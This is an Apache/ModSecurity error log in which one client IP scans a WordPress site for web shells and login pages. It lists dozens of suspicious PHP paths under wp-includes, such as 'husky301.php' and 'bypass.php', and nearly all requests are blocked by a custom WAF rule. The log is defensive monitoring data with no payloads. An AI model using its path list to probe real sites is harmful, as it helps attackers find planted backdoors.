[Wed Nov 26 18:17:39.367408 2025] [:error] [pid 45683:tid 45707] [client 84.17.35.112:44228] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSbTwxX1gQgNFW_222qcaQAAAVM"]
[Wed Nov 26 18:17:39.990172 2025] [:error] [pid 6471:tid 6482] [client 84.17.35.112:44238] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSbTw-h3Z9TZLlRuTiN8WQAAAIg"]
[Wed Nov 26 18:17:41.287707 2025] [:error] [pid 45769:tid 45773] [client 84.17.35.112:44250] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSbTxVdG5Eht9c3yy4MVkgAAAcE"]
[Wed Nov 26 18:17:41.912631 2025] [:error] [pid 20733:tid 20743] [client 84.17.35.112:45104] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSbTxQV9EP2HuRvnH8dJXAAAAMg"]
[Wed Nov 26 18:17:42.536754 2025] [:error] [pid 45685:tid 45758] [client 84.17.35.112:45106] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSbTxlj3f_NRdgU0DQ7KGQAAARA"]
[Wed Nov 26 18:17:42.950045 2025] [:error] [pid 45683:tid 45702] [client 84.17.35.112:45118] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aSbTxhX1gQgNFW_222qcbwAAAU4"]
[Wed Nov 26 18:17:43.361208 2025] [:error] [pid 45769:tid 45781] [client 84.17.35.112:45132] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSbTx1dG5Eht9c3yy4MVlwAAAck"]
[Wed Nov 26 18:17:44.406345 2025] [:error] [pid 45683:tid 45698] [client 84.17.35.112:45138] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aSbTyBX1gQgNFW_222qcdgAAAUo"]
[Wed Nov 26 18:17:44.819659 2025] [:error] [pid 20733:tid 20748] [client 84.17.35.112:45142] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aSbTyAV9EP2HuRvnH8dJXgAAAM0"]
[Wed Nov 26 18:17:45.232002 2025] [:error] [pid 45684:tid 45724] [client 84.17.35.112:45146] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSbTyfg5LMxwI4-PD1cuoAAAAAk"]
[Wed Nov 26 18:17:47.326154 2025] [:error] [pid 46443:tid 46453] [client 84.17.35.112:45156] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aSbTy8LmDsnHrj-QFB_MGgAAAEg"]
[Wed Nov 26 18:17:48.373394 2025] [:error] [pid 45685:tid 45757] [client 84.17.35.112:45168] [client 84.17.35.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.35.112, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSbTzFj3f_NRdgU0DQ7KHwAAAQ8"]
[Wed Nov 26 18:17:50.905773 2025] [:error] [pid 45685:tid 45744] [client 84.17.35.112:45168] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSbTzlj3f_NRdgU0DQ7KLgAAAQI"]
[Wed Nov 26 18:17:53.211538 2025] [:error] [pid 20733:tid 20754] [client 84.17.35.112:59280] [client 84.17.35.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.35.112, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSbT0QV9EP2HuRvnH8dJZgAAANM"]
[Wed Nov 26 18:17:53.634884 2025] [:error] [pid 20733:tid 20738] [client 84.17.35.112:59280] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aSbT0QV9EP2HuRvnH8dJaQAAAMM"]
[Wed Nov 26 18:17:55.731207 2025] [:error] [pid 46443:tid 46467] [client 84.17.35.112:46468] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aSbT08LmDsnHrj-QFB_MMwAAAFY"]
[Wed Nov 26 18:17:57.829534 2025] [:error] [pid 45769:tid 45773] [client 84.17.35.112:13259] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSbT1VdG5Eht9c3yy4MVsQAAAcE"]
[Wed Nov 26 18:17:58.666781 2025] [:error] [pid 45685:tid 45749] [client 84.17.35.112:59308] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aSbT1lj3f_NRdgU0DQ7KMwAAAQc"]
[Wed Nov 26 18:17:59.716648 2025] [:error] [pid 6471:tid 6495] [client 84.17.35.112:59316] [client 84.17.35.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.35.112, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSbT1-h3Z9TZLlRuTiN8cAAAAJU"]
[Wed Nov 26 18:18:00.878078 2025] [:error] [pid 6471:tid 6492] [client 84.17.35.112:59316] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aSbT2Oh3Z9TZLlRuTiN8cQAAAJI"]
[Wed Nov 26 18:18:04.900544 2025] [:error] [pid 45685:tid 45745] [client 84.17.35.112:60206] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aSbT3Fj3f_NRdgU0DQ7KSAAAAQM"]
[Wed Nov 26 18:18:05.943789 2025] [:error] [pid 45684:tid 45732] [client 84.17.35.112:60252] [client 84.17.35.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 84.17.35.112, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aSbT3fg5LMxwI4-PD1cuvgAAABE"]
[Wed Nov 26 18:18:06.795900 2025] [:error] [pid 45684:tid 45737] [client 84.17.35.112:60252] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSbT3vg5LMxwI4-PD1cuxAAAABY"]
[Wed Nov 26 18:18:07.423576 2025] [:error] [pid 6471:tid 6479] [client 84.17.35.112:60288] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aSbT3-h3Z9TZLlRuTiN8eAAAAIU"]
[Wed Nov 26 18:18:08.259665 2025] [:error] [pid 45683:tid 45692] [client 84.17.35.112:60294] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSbT4BX1gQgNFW_222qc4wAAAUQ"]
[Wed Nov 26 18:18:09.308927 2025] [:error] [pid 46443:tid 46456] [client 84.17.35.112:60310] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSbT4cLmDsnHrj-QFB_MSgAAAEs"]
[Wed Nov 26 18:18:09.720994 2025] [:error] [pid 20733:tid 20740] [client 84.17.35.112:60316] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aSbT4QV9EP2HuRvnH8dJnAAAAMU"]
[Wed Nov 26 18:18:11.189300 2025] [:error] [pid 45769:tid 45786] [client 84.17.35.112:17565] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSbT41dG5Eht9c3yy4MVwQAAAc4"]
[Wed Nov 26 18:18:11.812626 2025] [:error] [pid 6471:tid 6495] [client 84.17.35.112:40728] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aSbT4-h3Z9TZLlRuTiN8gAAAAJU"]
[Wed Nov 26 18:18:12.858639 2025] [:error] [pid 45769:tid 45788] [client 84.17.35.112:40734] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aSbT5FdG5Eht9c3yy4MVyAAAAdA"]
[Wed Nov 26 18:18:13.927823 2025] [:error] [pid 46443:tid 46461] [client 84.17.35.112:40750] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aSbT5cLmDsnHrj-QFB_MVAAAAFA"]
[Wed Nov 26 18:18:14.766446 2025] [:error] [pid 6471:tid 6493] [client 84.17.35.112:40762] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aSbT5uh3Z9TZLlRuTiN8hgAAAJM"]
[Wed Nov 26 18:18:15.815290 2025] [:error] [pid 45769:tid 45785] [client 84.17.35.112:40772] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aSbT51dG5Eht9c3yy4MVzQAAAc0"]
[Wed Nov 26 18:18:17.707702 2025] [:error] [pid 45683:tid 45695] [client 84.17.35.112:40780] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aSbT6RX1gQgNFW_222qc_AAAAUc"]
[Wed Nov 26 18:18:18.120766 2025] [:error] [pid 45683:tid 45693] [client 84.17.35.112:40782] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aSbT6hX1gQgNFW_222qc_gAAAUU"]
[Wed Nov 26 18:18:18.535059 2025] [:error] [pid 46443:tid 46448] [client 84.17.35.112:40786] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aSbT6sLmDsnHrj-QFB_MWgAAAEM"]
[Wed Nov 26 18:18:18.948338 2025] [:error] [pid 45684:tid 45721] [client 84.17.35.112:40798] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aSbT6vg5LMxwI4-PD1cu1AAAAAY"]
[Wed Nov 26 18:18:19.576054 2025] [:error] [pid 45683:tid 45708] [client 84.17.35.112:40804] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aSbT6xX1gQgNFW_222qdAwAAAVQ"]
[Wed Nov 26 18:18:19.990067 2025] [:error] [pid 45683:tid 45688] [client 84.17.35.112:40812] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSbT6xX1gQgNFW_222qdBAAAAUA"]
[Wed Nov 26 18:18:20.828160 2025] [:error] [pid 20733:tid 20743] [client 84.17.35.112:40814] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSbT7AV9EP2HuRvnH8dJpQAAAMg"]
[Wed Nov 26 18:18:21.240379 2025] [:error] [pid 46443:tid 46460] [client 84.17.35.112:35494] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSbT7cLmDsnHrj-QFB_MXgAAAE8"]
[Wed Nov 26 18:18:21.652741 2025] [:error] [pid 45769:tid 45790] [client 84.17.35.112:35510] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aSbT7VdG5Eht9c3yy4MV0AAAAdI"]
[Wed Nov 26 18:18:22.068134 2025] [:error] [pid 45684:tid 45716] [client 84.17.35.112:35516] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aSbT7vg5LMxwI4-PD1cu2wAAAAE"]
[Wed Nov 26 18:18:22.694039 2025] [:error] [pid 45684:tid 45717] [client 84.17.35.112:35532] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aSbT7vg5LMxwI4-PD1cu4AAAAAI"]
[Wed Nov 26 18:18:23.534305 2025] [:error] [pid 45685:tid 45756] [client 84.17.35.112:35548] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aSbT71j3f_NRdgU0DQ7KYgAAAQ4"]
[Wed Nov 26 18:18:24.799760 2025] [:error] [pid 45683:tid 45688] [client 84.17.35.112:35564] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aSbT8BX1gQgNFW_222qdEQAAAUA"]
[Wed Nov 26 18:18:26.694730 2025] [:error] [pid 46443:tid 46448] [client 84.17.35.112:35590] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aSbT8sLmDsnHrj-QFB_MaQAAAEM"]
[Wed Nov 26 18:18:27.743030 2025] [:error] [pid 46443:tid 46464] [client 84.17.35.112:35604] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aSbT88LmDsnHrj-QFB_MbQAAAFM"]
[Wed Nov 26 18:18:28.155692 2025] [:error] [pid 45684:tid 45724] [client 84.17.35.112:35606] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aSbT9Pg5LMxwI4-PD1cu-AAAAAk"]
[Wed Nov 26 18:18:29.410114 2025] [:error] [pid 6471:tid 6498] [client 84.17.35.112:35632] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSbT9eh3Z9TZLlRuTiN8kwAAAJg"]
[Wed Nov 26 18:18:30.470611 2025] [proxy_fcgi:error] [pid 45684:tid 45722] [client 84.17.35.112:35638] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:18:30.681779 2025] [proxy_fcgi:error] [pid 45684:tid 45731] [client 84.17.35.112:35638] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:18:30.893044 2025] [proxy_fcgi:error] [pid 45684:tid 45719] [client 84.17.35.112:35638] AH01071: Got error 'Primary script unknown'
[Wed Nov 26 18:18:31.953818 2025] [:error] [pid 45684:tid 45735] [client 84.17.35.112:35638] [client 84.17.35.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSbT9_g5LMxwI4-PD1cvCAAAABQ"]
